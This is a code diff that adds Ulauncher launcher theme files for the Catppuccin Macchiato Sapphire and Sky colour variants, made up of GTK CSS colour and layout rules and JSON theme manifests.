@ -0,0 +1,10 @@
@import url("/usr/share/ulauncher/themes/light/theme-gtk-3.20.css");
@import url("theme.css");
.input {
caret-color: #7dc4e4;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Sapphire",
"display_name": "Catppuccin Macchiato Sapphire",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#7dc4e4",
"when_not_selected": "#7dc4e4"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #7dc4e4;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #7dc4e4;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Sky",
"display_name": "Catppuccin Macchiato Sky",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#91d7e3",
"when_not_selected": "#91d7e3"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #91d7e3;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

Some files were not shown because too many files have changed in this diff Show more